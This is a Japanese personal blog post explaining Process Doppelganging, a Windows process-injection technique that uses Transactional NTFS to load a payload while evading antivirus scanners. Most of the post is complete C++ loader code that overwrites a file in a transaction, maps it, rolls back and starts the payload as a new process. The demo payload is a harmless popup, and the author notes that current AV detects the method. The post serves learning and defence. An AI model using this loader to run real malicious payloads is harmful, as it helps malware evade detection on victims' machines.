Snoozy

1.Sleep-inducing; tedious.

Transactional NTFS利用によるProcess Doppelgangingをやってみる

Transactional NTFS利用による Process Doppelgangingをやってみる

マルウェアなどがAVスキャナーからの検知を逃れるために使う手法の1分野にProcess Injctionがある. 本記事では以下のリポジトリを参考に,Process Injction手法の1つであるTransactional NTFS利用によるProcess Doppelgangingをやってみる.

github.com

本手法の概要

Process injection手法の1つにProcess Hollowingがある. これは正規のプロセスのイメージをアンマップし,悪意あるコードを注入,実行するというものだ. Process Doppelgangingはこれと似たような動作をする.

まず正規のファイルをNTFSトランザクションを介してオープンし中身をペイロードで置き換える.このファイルをメモリにロード後,明示的にRollbackを行う.Rollback後はディスク上には正規ファイルが,メモリ上にはペイロードファイルがそれぞれ残ることになり,結果としてファイルレスなペイロードのロードと実行が行える.

以降ではWin32APIを使ったNTFSトランザクションについての基本的な部分を解説した後,Process Doppelgangingの実装について解説する.

NTFSトランザクション

Windowsはいくつかのトランザクション処理用APIを提供している.
これによりファイル操作をACID特性を伴って実行できる.

トランザクションAPIはファイル操作系APIにTransactedというサフィックスがつくのが特徴だ.

主な処理の流れは以下のようになる.

  1. CreateTransactionでトランザクションハンドルを取得し、トランザクション開始
  2. トランザクションハンドルを使用して、各種ファイル操作を行う
  3. CommitTransactionでトランザクションをコミット
  4. CloseTransactionでトランザクション終了

トランザクションロールバック

途中の失敗などでコミットすることなくトランザクションを終了した場合,一連の処理はロールバックされる.

トランザクション中のファイルの変更はACID特性故に他プロセスから見えないため,ディスク上にドロップされたペイロードファイルを検知するのは困難だ.

ただし後述するように,トランザクションAPIが利用されることは非常にまれなため,現在のAVスキャナーは容易に本手法を検知する.

Process Doppelgangingの実装

大まかに以下のような処理を行う.

  1. CreateTransactionでトランザクションを開始.
  2. トランザクション内でターゲットファイルをペイロードファイルで上書き.
  3. 上書きされたターゲットファイルから新規セクションを作成.
  4. ターゲットファイルをロールバック.(ターゲットファイルは元の正規ファイルに戻るが,メモリ上にはペイロードファイルが残る)
  5. プロセス作成に必要な諸々を設定し新規スレッドを作成してメモリ上にロードされたペイロードファイルを実行.

なお今回はあらかじめディスク上に用意したファイルをペイロードとして使用した.

以下がそのコードになる.

#include<stdio.h>
#include<stdlib.h>
#include<iostream>
#include<Windows.h>
#include "ntos.h"
#pragma comment(lib, "Ntdll.lib")

int main() {

    // init ntdll.dll  func
    HINSTANCE hinstStub = GetModuleHandle(L"ntdll.dll");
    NtCreateTransaction = (LPNTCREATETRANSACTION)GetProcAddress(hinstStub, "NtCreateTransaction");
    NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtAllocateVirtualMemory");
    NtCreateSection = (LPNTCREATESECTION)GetProcAddress(hinstStub, "NtCreateSection");
    NtRollbackTransaction = (LPNTROLLBACKTRANSACTION)GetProcAddress(hinstStub, "NtRollbackTransaction");
    NtClose = (LPNTCLOSE)GetProcAddress(hinstStub, "NtClose");
    NtCreateProcessEx = (LPNTCREATEPROCESSEX)GetProcAddress(hinstStub, "NtCreateProcessEx");
    NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(hinstStub, "NtQueryInformationProcess");
    NtReadVirtualMemory = (LPNTREADVIRTUALMEMORY)GetProcAddress(hinstStub, "NtReadVirtualMemory");
    NtWriteVirtualMemory = (LPNTWRITEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtWriteVirtualMemory");
    NtCreateThreadEx = (LPNTCREATETHREADEX)GetProcAddress(hinstStub, "NtCreateThreadEx");
    NtFreeVirtualMemory = (LPNTFREEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtFreeVirtualMemory");
    RtlCreateProcessParametersEx = (LPRTLCREATEPROCESSPARAMETERSEX)GetProcAddress(hinstStub, "RtlCreateProcessParametersEx");
    RtlDestroyProcessParameters = (LPRTLDESTROYPROCESSPARAMETERS)GetProcAddress(hinstStub, "RtlDestroyProcessParameters");
    RtlImageNtHeader = (LPRTLIMAGENTHEADER)GetProcAddress(hinstStub, "RtlImageNtHeader");
    RtlInitUnicodeString = (LPRTLINITUNICODESTRING)GetProcAddress(hinstStub, "RtlInitUnicodeString");

    // test  
    LPCWSTR lpTargetApp = L".\\test.txt";
    LPCWSTR lpPayloadApp = L".\\popup_HelloWorld.exe";

    HANDLE hTransaction = NULL, hTransactedFile = INVALID_HANDLE_VALUE, hFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL, hProcess = NULL, hThread = NULL;
    LARGE_INTEGER fsz;
    ULONG ReturnLength = 0;
    ULONG_PTR EntryPoint = 0, ImageBase = 0;
    PVOID Buffer = NULL, MemoryPtr = NULL;
    SIZE_T sz = 0;
    PEB* Peb;

    PROCESS_BASIC_INFORMATION pbi;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;

    OBJECT_ATTRIBUTES obja;
    UNICODE_STRING    ustr;

    BYTE temp[0x1000];
    RtlSecureZeroMemory(&temp, sizeof(temp));

    // NTFSトランザクションオブジェクトを作成
    InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
    NtCreateTransaction(&hTransaction,
        TRANSACTION_ALL_ACCESS,
        &obja,
        NULL,
        NULL,
        0,
        0,
        0,
        NULL,
        NULL);

    // ターゲットファイルをオープン
    hTransactedFile = CreateFileTransacted(lpTargetApp,
        GENERIC_WRITE | GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTransaction,
        NULL,
        NULL);

    // ペイロードファイルの読み込み
    hFile = CreateFile(lpPayloadApp,
        GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    GetFileSizeEx(hFile, &fsz);

    Buffer = NULL;

    sz = (SIZE_T)fsz.LowPart;
    NtAllocateVirtualMemory(NtCurrentProcess(),
        &Buffer,
        0,
        &sz,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);

    ReadFile(hFile, Buffer, fsz.LowPart, &ReturnLength, NULL);

    CloseHandle(hFile);
    hFile = INVALID_HANDLE_VALUE;

    // ターゲットファイルにペイロードファイルを書き込み
    WriteFile(hTransactedFile, Buffer, fsz.LowPart, &ReturnLength, NULL);

    // ターゲットファイルをSEC_IMAGEで新規セクションとしてメモリ上に作成
    NtCreateSection(&hSection,
        SECTION_ALL_ACCESS,
        NULL,
        0,
        PAGE_READONLY,
        SEC_IMAGE,
        hTransactedFile);

    // トランザクションをロールバック
    NtRollbackTransaction(hTransaction, TRUE);

    NtClose(hTransaction);
    hTransaction = NULL;

    CloseHandle(hTransactedFile);
    hTransactedFile = INVALID_HANDLE_VALUE;

    // 作成したセクションからプロセスを新規作成
    hProcess = NULL;
    NtCreateProcessEx(&hProcess,
        PROCESS_ALL_ACCESS,
        NULL,
        NtCurrentProcess(),
        PS_INHERIT_HANDLES,
        hSection,
        NULL,
        NULL,
        FALSE);

    // PEBからプロセス情報を取得
    NtQueryInformationProcess(hProcess,
        ProcessBasicInformation,
        &pbi,
        sizeof(PROCESS_BASIC_INFORMATION),
        &ReturnLength);

    // ImageBaseAddressを取得
    NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz);
    std::cout << "PebBaseAddress: " << (std::hex) << (ULONGLONG)temp << std::endl;

    // EntryPointを計算
    EntryPoint = (RtlImageNtHeader(Buffer))->OptionalHeader.AddressOfEntryPoint;
    EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress;
    std::cout << "ImageBase: " << (std::hex) << (ULONG_PTR)((PPEB)temp)->ImageBaseAddress << std::endl;
    std::cout << "EntryPoint: " << (std::hex) << EntryPoint << std::endl;

    // プロセスパラメータの調整
    RtlInitUnicodeString(&ustr, lpTargetApp);
    RtlCreateProcessParametersEx(&ProcessParameters,
        &ustr,
        NULL,
        NULL,
        &ustr,
        NULL,
        NULL,
        NULL,
        NULL,
        NULL,
        RTL_USER_PROC_PARAMS_NORMALIZED);
    
    // PEBにプロセスをリンク
    sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength;
    MemoryPtr = ProcessParameters;

    NtAllocateVirtualMemory(hProcess,
        &MemoryPtr,
        0,
        &sz,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_READWRITE);

    // プロセスパラメータの書き込み
    sz = 0;
    NtWriteVirtualMemory(hProcess,
        ProcessParameters,
        ProcessParameters,
        ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength,
        &sz);

    Peb = (PEB*)pbi.PebBaseAddress;
    NtWriteVirtualMemory(hProcess,
        &Peb->ProcessParameters,
        &ProcessParameters,
        sizeof(PVOID),
        &sz);

    // EntryPointを開始アドレスに設定して新規スレッドを作成
    hThread = NULL;
    NtCreateThreadEx(&hThread,
        THREAD_ALL_ACCESS,
        NULL,
        hProcess,
        (LPTHREAD_START_ROUTINE)EntryPoint,
        NULL,
        FALSE,
        0,
        0,
        0,
        NULL);


    if (hTransaction)
        NtClose(hTransaction);
    if (hSection)
        NtClose(hSection);
    if (hProcess)
        NtClose(hProcess);
    if (hThread)
        NtClose(hThread);
    if (hTransactedFile != INVALID_HANDLE_VALUE)
        CloseHandle(hTransactedFile);
    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);
    if (Buffer != NULL) {
        sz = 0;
        NtFreeVirtualMemory(NtCurrentProcess(), &Buffer, &sz, MEM_RELEASE);
    }
    if (ProcessParameters) {
        RtlDestroyProcessParameters(ProcessParameters);
    }
}


demo

以下は非実行可能形式ファイルをターゲットとした実験.

ファイルパス等を自前で設定できるため,テキストファイルからPEファイルがオープンしているように見える. メモリ空間をのぞいてみると確かにプログラムが示す位置にMZの2バイトが確認できる.

ただしこれはWindows Defenderをオフにした状態での実験であり,通常は以下のように即座に検知される.

f:id:snoozekvn:20200218185500p:plain

まとめ

本手法は2017年公開当初こそ有用であったが,トランザクションAPIが利用されることは非常にまれなため,現在のAVスキャナーは容易に本手法を検知する.

また悪意あるファイルの最終的な実行の際に,CreateRemoteThreadと同等のNtCreateThreadExを使用している。

AVスキャナーは、リモートスレッドの作成をPsSetCreateThreadNotifyRoutine等を介して監視するため、Doppelgängingを検出可能だ.

本手法は、ファイル署名を避け、ディスクに書き込みをせずに実行可能ファイルをロードできるが,そもそもの目指すところである検知回避という点でもはやアドバンテージはない.

参考

Process Doppelgänging – a new way to impersonate a process | hasherezade's 1001 nights

docs.google.com

docs.microsoft.com

github.com